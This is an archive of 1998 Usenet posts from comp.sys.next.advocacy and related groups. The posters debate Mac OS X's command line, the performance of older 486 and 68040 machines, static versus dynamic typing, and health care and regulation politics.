References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com>
<6noi5p$2qg$1@news.cmc.net> <1dbual6.1dg6va4fd3yjwN@carina22.wco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mpaque@wco.com
In <1dbual6.1dg6va4fd3yjwN@carina22.wco.com> Mike Paquette wrote:
>Leon von Stauber <devnull@occam.com> wrote:
>
>> This is not Chicken Little overreaction to some vague possibility
>> mentioned on a random Web site. This is Apple's official and
>> unequivocal statement that Mac OS X is not UNIX, and will have no
>> CLI built-in to the system.
>
>Well, it's the official and unequivocal statement of what some folks in
>Product Marketing and Developer Relations believes is needed/wanted in
>the Mac OS X product.
If it really is possible that Mac OS X will include a CLI, then I wish
that the response to that question in Apple's Rhapsody FAQ were...
I can't believe I'm saying this ;-)... more vague.
>In the unlikely event that a terminal UI program such as Terminal.app is
>not available, I'll bet a third party replacement (maybe even shareware
>or freeware) would be available immediately.
Well, there would have to be, if only to use telnet and serial terminal
connections. But will I be able to use it to get to the native CLI as
easily as I do w/ Terminal (or actually Stuart)?
>Note that Terminal.app is
>derived from Scott Hess's Stuart.app.
Huh? I had thought it was the other way around. ?
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
Date: Fri, 10 Jul 1998 09:40:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Message-ID: <joe.ragosta-1007980940260001@wil37.dol.net>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com>
In article <slrn6qb71d.o2v.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On 9 Jul 1998 20:38:29 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
> >But the point is, temp is not some terrible thing and that anyone who
> >works for a temp. agency is being given the short end.
>
> Are you aware that UPS tried to "downsize" hundred of workers are replace
> them with temps? Are you aware that many of the "temps" were downsized UPS
> workers who were being rehired at less pay and no benifits?
Of course, the reason for this is the outsized salary and benefits forced
on UPS by the union. If the wages were more reasonable, there would be no
need for them to go to temp agencies.
In our company, we pay competitive salaries, but we do NOT pay the kind of
wages that unions would demand. We are therefore able to use temps only
for true temporary work. If we were paying our employees the kind of money
that UPS pays its people (to avoid being shutdown by the union), we'd hire
mostly temps, too.
BTW, most decent temp agencies give benefits.
>
> Many (if not most) temps are being given the short end. Few get health care,
> something that we as a society have a moral obligation to provide to all
> members of our society. I would gladdly pay 5% to 10% more in taxes to know
> that everyone in the US who is sick will get the care they need.
I wouldn't. I already pay half my income in taxes. As far as I'm concerned
health care is no different than any other commodity. No one should be
_guaranteed_ food or a house or a car or a job. Same with health care(*).
It sounds cruel, but I just happen to believe that if people take
responsibility for their own needs, the system works better and everyone
is better off.
* with, in my case, the exception being people who absolutely are
incapable of taking care of themselves.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 10 Jul 1998 13:59:07 GMT
Organization: San Diego State University
Message-ID: <6o56nb$qre$1@hole.sdsu.edu>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <6o3u84$m8f$1@hole.sdsu.edu> <joe.ragosta-1007980837370001@wil117.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: Sure. It runs fine. What's your point?
That it runs just as fine as a "modern" OS on a 486--acceptably.
The 486 remains useful, and is only just now in the process of
being abandoned in the name of Pentium-specificity. (And what's
the chance that Linux will become Pentium-specific any time soon?
I upgraded to the K5 on account of BeOS, which decision of mine
seems to me now a mistake. BeOS is too closed a system for me
to waste any more time on it.)
As such the 486 has proven more durable than, say, the 603e.
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Loose end
Date: 10 Jul 1998 13:59:17 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o56nl$rrq@newsb.netnews.att.com>
References: <6o1676$hfk@newsb.netnews.att.com> <35A43A82.D4027971@nstar.net> <6o2i5m$km7@newsb.netnews.att.com> <SCOTT.98Jul9131344@slave.doubleu.com>
Originator: gupta@tlctest
Scott Hess <scott@doubleu.com> wrote:
>
>The original fed statistics would be worth a lot more if they
>indicated not only the current static distribution, but also the
>distribution of people within each quintile. For instance, what
>percentage of the top quintile started in the top quintile, what
>percentage started in the fourth quintile, etc. That would give a
>sense of whether things are moving onward and upward, or if they are
>static.
The paper referred to does show how stable the quintiles are
over a period of several years.
-arun gupta
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 08:56:18 -0500
Organization: Texas Instruments
Message-ID: <MPG.100fd98176c5ec1798975e@news.itg.ti.com>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
>
> Actually, the NT fans will tell you that NT works just fine on a 486 66
> MHz--until you start talking about running it under VPC or SoftWindows.
> THEN, 486 performance is hopelessly slow.
>
> I've never figured out how 486 performance on a "real" PC is OK, while 486
> performance on a "virtual" PC isn't.
Because you are getting a horrible cost vs performance ratio with the
Mac + emulation.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 14:29:07 GMT
Organization: University of Maryland, College Park
Message-ID: <6o58fj$ol0$2@hecate.umd.edu>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu>
willis sean timothy (stwillis@ews.uiuc.edu) wrote:
: COMP.MAC.SYSTEM trimmed
: Lawson English (english@primenet.com) wrote:
: : But what about when you try to SELL your 7500? Who will buy it and what new
: : owner of your old machine will trust Apple to continue to make a decent OS
: : for older machines when they've abandoned a 4-year-old machine?
: MacOS 8.5---> MacOS 9.x
: Not exactly abandoned.
: Try running NT on a 486 66Mhz. I didn't think so.
For a while I triple booted NT/NeXTStep/DOS on a 486/33 with 24 Megs of RAM.
Give those hefty Os'es enough memory, and 486's will still chug along.
: sean
: --
: Sean Willis : stwillis@uiuc.edu
: Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
: University of Illinois @ Urbana : "When my hand slipped, she looked at
: U.S. Presidential Candidate, 2012 : me, and she sang this song...."
: -The Dirty Dozen
--
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: cancel <6o58fj$ol0$2@hecate.umd.edu>
Control: cancel <6o58fj$ol0$2@hecate.umd.edu>
Date: 10 Jul 1998 14:31:43 GMT
Organization: University of Maryland, College Park
Message-ID: <6o58kf$ol0$3@hecate.umd.edu>
Article cancelled from within tin [v1.2 PL2]
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 14:31:36 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6o58k8$s13@newsb.netnews.att.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com> <35A5BA1B.3CFBDCA6@nstar.net>
Originator: gupta@tlctest
Michael Peck <mjpeck@nstar.net> wrote:
>
>I wouldn't, to be blunt. Guaranteed health care means guaranteed
>spiraling health care costs. Do you know how much doctors are paid for
>CT-scan referrals? Do you think that a government-run health care
>bureacracy will improve this situation? Health care guarantees are as
>destructive as wage controls, which reduce employment, decrease
>efficiency, and pass on the additional costs to consumers.
Imagine if you had "car insurance" that did exactly the same thing
as "health insurance". Namely, you paid a regular premium and it
covered everything for your car, including routine maintenance, gas,
as well as all the things covered by today's car insurance.
What do you think would happen to the costs of operating a car ?
I believe the costs would go sky-high, just as health-care costs have
grown. "Insurance" is a means of socialization of costs, and
such socialization leads to no incentive for the individual consumer
or the individual provider to contain costs (since everyone else is
absorbing the costs). So, whether run by government or run by private
companies, insurance schemes for routine care will lead to higher
costs (or else, people who pose a higher risk will be denied coverage).
I see health insurance as an example of the way in which socialism can
exist outside of imposition by the government.
Insurance is properly reserved for catastrophes. Even though this is
socialization of cost, there is the strong incentive for most people
to avoid catastrophes. (Of course, there still remains the incentive
for fraud).
Whether you agree with the above or not, it is true that the health care
market in the US is not a free market. For example, doctors form almost
a guild, with entry into the profession restricted and with severe barriers
on the import of labor, ( unlike for example, software engineering).
Medical schools regulate the number of admissions based on AMA's estimates
of the future demand for doctors rather than responding to the current
demand for medical education.
-arun gupta
Date: Fri, 10 Jul 1998 10:39:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1007981039190001@wil62.dol.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com>
In article <MPG.100fd98176c5ec1798975e@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
> >
> > Actually, the NT fans will tell you that NT works just fine on a 486 66
> > MHz--until you start talking about running it under VPC or SoftWindows.
> > THEN, 486 performance is hopelessly slow.
> >
> > I've never figured out how 486 performance on a "real" PC is OK, while 486
> > performance on a "virtual" PC isn't.
>
> Because you are getting a horrible cost vs performance ratio with the
> Mac + emulation.
Nice try.
The posts I've seen from Wintrolls have said "Virtual PC is too slow to be
useful". No cost issue--just too slow.
Please explain why 486 performance is acceptable on a real PC but not on a
virtual one.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 10 Jul 1998 10:40:57 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1007981040570001@wil62.dol.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <6o3u84$m8f$1@hole.sdsu.edu> <joe.ragosta-1007980837370001@wil117.dol.net> <6o56nb$qre$1@hole.sdsu.edu>
In article <6o56nb$qre$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
>
> : Sure. It runs fine. What's your point?
>
> That it runs just as fine as a "modern" OS on a 486--acceptably.
True. But your challenge was "try running Mac OS 8 on a 33 MHz Quadra" as
if it wouldn't work.
> The 486 remains useful, and is only just now in the process of
> being abandoned in the name of Pentium-specificity. (And what's
> the chance that Linux will become Pentium-specific any time soon?
> I upgraded to the K5 on account of BeOS, which decision of mine
> seems to me now a mistake. BeOS is too closed a system for me
> to waste any more time on it.)
>
> As such the 486 has proven more durable than, say, the 603e.
Where do you get this? In what way is a 603e any less useful than a 486?
Perhaps you should compare the 486 to a 68040--which is exactly what I did.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 14:52:12 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6o59qs$jc8$1@sun27.hrz.tu-darmstadt.de>
References: <6o322n$crr$1@lwnws01.ne.highway1.com> <B1CA843B-1438B@206.165.43.167> <slrn6qaepp.ki5.jason@jhste1.dyn.ml.org> <joe.ragosta-1007980833500001@wil117.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <slrn6qaepp.ki5.jason@jhste1.dyn.ml.org>,
>> Funny - I've been dealing with a law firm for the last couple of days
>> that has email, but has no idea how to deal with receiving attachments.
>> They _insisted_ on a floppy, despite the inconvenience of getting the
>> damn thing.
>
>Good thing a law firm can afford to buy a Superdrive for their iMacs.
>
>BTW, feel free to tell them that I'll teach them how to use attachments
>for, let's say, $20,000.
Hey, they're *lawyers* - don't you think $20.000 is a little bit low? ;-)
Regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Followup-To: talk.politics.libertarian
Date: 10 Jul 1998 14:56:23 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6o5a2n$5op$1@news.spacelab.net>
References: <359A90F9.A546707D@alum.mit.edu> <35A545DD.567CAFC@ericsson.com> <35a547d8.0@news.depaul.edu> <35a54911.0@news.depaul.edu> <6o3m1s$54g$1@camel19.mindspring.com>
[ ...followups set... ]
Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <6o3fak$13e$3@news.spacelab.net> Charles W. Swiger,
> chuck@codefab.com writes:
>> Ever drive on the interstate highway system?
>
>Yes. So what?
>
>Are you claiming that private transportation provision would have been
>less efficient, cost more, or would be in some way inferior to the
>Federal Highway Program (consistently rated the most pork-laden segment
>of government outside of defense contracts).
That's changing the question from "has any government created something
worthwhile?" to "is the US government highway system efficient?"
I very strongly doubt the current interstate system would have been created
by a private organization, and I'd imagine that the highways would have been
designed for a lower maximum load.
As it was, the highway system was designed so that the military could move
60-ton tanks around at (relatively) high speed. One unforeseen consequence
is that the movement of goods via tractor-trailer trucking has become a
cost-effective alternative to railroad because the highways, bridges, height
clearances, and so forth associated with the interstate make that practical.
>> Ever eat food or use prescription drugs? (The FDA makes mistakes once in
>> a great while, agreed, but it does pretty well making sure that people
>> don't get sick or die from such things.)
>
>Yeah. Right. 100,000 dead while the FDA hamstrung doctors attempts to
>introduce beta-blockers and save lives. 10 years after europe we got
>them, after 100,000 people died who should be alive even today.
>
> Thanks, I'll make my own health decisions. I don't need mommy government
> looking out for me.
I agree that you should be able to make your own health decisions, so long as
you take responsibility and deal with the consequences yourself.
Again, you're switching the question from "is the FDA's methodical process of
testing food and drugs before a third party can give them to the public a
useful service?" to "is the FDA process of approving potentially life-saving
new drugs too slow?"
>And you didn't mention the war on drugs, conducted under FDA statute.
That's right, I didn't.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Date: 10 Jul 1998 15:05:47 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6o5akb$5op$2@news.spacelab.net>
References: <6o3cbd$o1k@newsb.netnews.att.com> <6o50qd$30$1@news.cs.tu-berlin.de>
marcel@cs.tu-berlin.de (Marcel Weiher) wrote:
>gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>>says that "This year ISSCC has a paper describing the
>>first microprocessor implementing a mainstream architecture
>>(the PowerPC) with coarse-grain multithreading. Coarse
>>grain multithreading hides the delays caused by data fetches
>>from memory by switching between 2 or more program threads."
>
>Very interesting.
Interesting, indeed.
> Corroborates a suspicion I've had for a while
> that real multitasking is necessary for virtual memory to be
> useful.
While multitasking, VM, and memory protection do work together well in that
their tradeoffs mesh smoothly, it is obviously not the case that VM is only
useful when multitasking.
Consider a Mac which is only running one process: Adobe's Photoshop, for
example. VM is necessary simply because large documents can exceed the
amount of physical memory available.
Without VM, you can't do some tasks at all.
> After all, even a fairly low page-fault rate will slow a single process
> virtually to a halt, so system performance can only be maintained if there
> are other useful processes to switch to.
Not so. User-level pagers-- which is what Adobe had to write before the
MacOS got VM support in the OS-- can be quite low-latency, especially if the
memory reference behavior is predictable. Again, consider Photoshop applying
a convolution (filter) to a large image.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 10:10:24 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A62EE0.C2C119DE@ericsson.com>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <6o3u84$m8f$1@hole.sdsu.edu> <joe.ragosta-1007980837370001@wil117.dol.net> <6o56nb$qre$1@hole.sdsu.edu> <joe.ragosta-1007981040570001@wil62.dol.net>
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Joe Ragosta wrote:
> > That it runs just as fine as a "modern" OS on a 486--acceptably.
>
> True. But your challenge was "try running Mac OS 8 on a 33 MHz Quadra" as
> if it wouldn't work.
I don't think his implicit claim is that it wouldn't work. His claim
seems (to me) to be a comparison of the outcome. A 486/66 will run NT
much faster than a 68040/33 will run MacOS 8. I should know, I've done
both. The 486 will also run Linux considerably faster than will the
68040/33 (MacLinux or Amiga Linux).
Moreover, most 68040 MacOS-based systems aren't capable of doing the
kind of work that a 486/66 NT-based system can do, simply because they
aren't very expandable. A 486 with a good VESA video board and lots of
memory and a Fast Ethernet card will handily outperform any kind of
68040 Macintosh.
> > As such the 486 has proven more durable than, say, the 603e.
>
> Where do you get this? In what way is a 603e any less useful than a 486?
>
> Perhaps you should compare the 486 to a 68040--which is exactly what I did.
I think his point is that the end-of-life of the 603e (now coming to
pass with MacOS X) will make the useful lifespan of the 603e rather
short by comparison to the 486. That might just be the increasing pace
of technology; it might be the fact that Apple has had a rather
unpredictable hardware path. Who knows?
MJP
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 15:08:51 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6o5aq3$5op$3@news.spacelab.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu>
stwillis@ews.uiuc.edu (willis sean timothy) wrote:
[ ... ]
>Try running NT on a 486 66Mhz. I didn't think so.
I do, since it works.
Such a system is even reasonably useful as a BDC, a print spooler, web
server, or some other role that doesn't host an interactive user on console.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 15:13:08 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6o5b24$5op$4@news.spacelab.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
[ ... ]
> Actually, the NT fans will tell you that NT works just fine on a 486 66
> MHz--until you start talking about running it under VPC or SoftWindows.
> THEN, 486 performance is hopelessly slow.
>
>I've never figured out how 486 performance on a "real" PC is OK, while 486
>performance on a "virtual" PC isn't.
I would imagine the distinction you bring up is because of the difference in
roles expected of them. Would you try to host dedicated, non-interactive
server roles under VPC or SoftWindows?
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 10 Jul 1998 15:22:04 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6o5bis$8jo$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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lars.farm@ite.mh.se (Lars Farm) writes:
>Michelle L. Buck <buck.erik@mcleod.net> wrote:
[..]
>> Objective-C postpones binding until runtime. C++ by specification has bound
>> all member function invocations at link time.
>No. The set of possible functions, but not the actual function. This is
>selected at runtime (assuming virtual).
That is correct, but there is a decision that is made at compile-time:
the function must be implemented in the exact target class or a
derived class of the target class. Another class capable of
responding to the same message cannot be substituted.
This violates a fundamental tenet of object-orientation, that the
only visible aspect of an object should be its behaviour.
>> If you do not know what the
>> advantages of LATE binding are, I suggest further investigation. Binding
>> time has little or no impact of code maintainability except the positive
>> impact derived from fewer classes and simpler design.
>I do know. This is opinion and I have another opinion. It's all about
>tradeoffs. You sacrifice something to gain something else. You consider
>one thing important, I another. Opinion.
Hmm, not quite. By stating your preference in those terms,
you are implying that compile-time static type checking is
intrinsically related to type-safety, and dynamic binding
intrinsically at odds with it. This is simply not true.
Compile-time static type-checking does not yield type-safety.
As a matter of fact, neiter C++ nor Eiffel are actually type
safe.
Dynamic binding does not prevent type safety. Protocols deliver
behavioral type-safety
The claim that only "dirty tricks" are disallowed by a rigid type-
system is also false. Some of the most powerful reuse mechanisms
currently known are crippled by static typing.
The (implied) claim that static type-safety eliminates a significant
source of bugs when compared to dynamic languages also seems to be
false, at least from the evidence that I have seen. I certainly
haven't seen any evidence from the proponents of compile-time
static type-checking except for lots of hand-waving.
<speculation>
I can imagine several reasons for this:
1. Type errors are simply not a serious cause of problems in
modern OO languages.
2. The facilities of dynamic languages catch many of the same errors
that static checking is supposed to eliminate.
3. The cleaner designs possible with dynamic languages simply
lead to less code and fewer bugs. I also see lots of evidence
of this.
The 3 points are actually not entirely independent.
</speculation>
Regards,
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 15:06:43 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6o5am3$4v3@nrtphc11.bnr.ca>
References: <359CF499.F9350FEE@exu.ericsson.se> <6o4utn$qjq$2@camel29.mindspring.com> <joe.ragosta-1007980940260001@wil37.dol.net>
Mime-Version: 1.0
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In article <6o58k8$s13@newsb.netnews.att.com> ,
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>I see health insurance as an example of the way in which socialism can
>exist outside of imposition by the government.
Yes, but the widespread and pervasive influence of insurance in medical
care is a consequence of tax law.
Matthew Cromer matthew_cromer@iname.com
Subject: Re: Static typing and dynamic binding
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> < <6o5bis$8jo$1@news.cs.tu-berlin.de>
In-Reply-To: <6o5bis$8jo$1@news.cs.tu-berlin.de>
From: not@my.address.net
Message-ID: <1Aqp1.3249$24.18435225@news.itd.umich.edu>
Date: Fri, 10 Jul 1998 15:38:37 GMT
NNTP-Posting-Date: Fri, 10 Jul 1998 11:38:37 EDT
On 07/10/98, Marcel Weiher wrote:
>
>The (implied) claim that static type-safety eliminates a significant
>source of bugs when compared to dynamic languages also seems to be
>false, at least from the evidence that I have seen. I certainly
>haven't seen any evidence from the proponents of compile-time
>static type-checking except for lots of hand-waving.
>
This is not my area of expertise, but I think I recall reading in Tom Love's
_Object Lessons_ that empirical studies had put the percentage of type related
errors at 10%. It's been years, and I don't have a copy on hand to double
check, but that stuck with me because I rarely see empirical evidence cited in
this kind of a discussion. But then again, that might be because this isn't my
area of expertise ...
--
invert: umich.edu jdevlin
insert: shift "2"
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 15:28:39 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6o5bv7$ba0@shelob.afs.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com writes
> I would say to Apple that if you know you are going to drop PC
> support - then reiterate it NOW and not after a person buys MacOS X
> Server for their PC.
I attended MW/NY yesterday, and the Apple spokespeople were very clear
and direct with everyone who asked: the upcoming MOSX/Server release will
ship for PPC, Intel, and Windows; the subsequent 1999 release will NOT
provide continuing Intel support. This is presumably because the Windows
release covers the needs of most people who want to run Intel. (No one
said this specifically, I am imputing it from what I heard.) The point
is, this clarifies the message that had emerged a bit muddled at WWDC.
BTW, MacWorld was really hopping. You'd never know Apple was thought to
be at death's door a year ago. The iMac was really turning heads. (If
you haven't seen one in person, the photos don't do it justice.)
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 10:35:05 -0500
Organization: Texas Instruments
Message-ID: <MPG.100ff0a3f039a4e698975f@news.itg.ti.com>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
> In article <MPG.100fd98176c5ec1798975e@news.itg.ti.com>, jmcn@msg.ti.com
> (Jason McNorton) wrote:
>
> > In article Joe Ragosta, joe.ragosta@dol.net says...
> > >
> > > Actually, the NT fans will tell you that NT works just fine on a 486 66
> > > MHz--until you start talking about running it under VPC or SoftWindows.
> > > THEN, 486 performance is hopelessly slow.
> > >
> > > I've never figured out how 486 performance on a "real" PC is OK, while 486
> > > performance on a "virtual" PC isn't.
> >
> > Because you are getting a horrible cost vs performance ratio with the
> > Mac + emulation.
>
> Nice try.
>
> The posts I've seen from Wintrolls have said "Virtual PC is too slow to be
> useful". No cost issue--just too slow.
>
> Please explain why 486 performance is acceptable on a real PC but not on a
> virtual one.
Because you can pick up a real 486 for a few hundred bucks. Can you pick
up a G3 + Virtual PC for that much? Anyone who is saying that 486 speed
on a G3 + Virtual PC is just too slow (for basic stuff) is wrong. It's
just not cost effective.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 08:50:51 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1dbwsaq.1s5lw3w1ibx0zwN@cetus201.wco.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu>
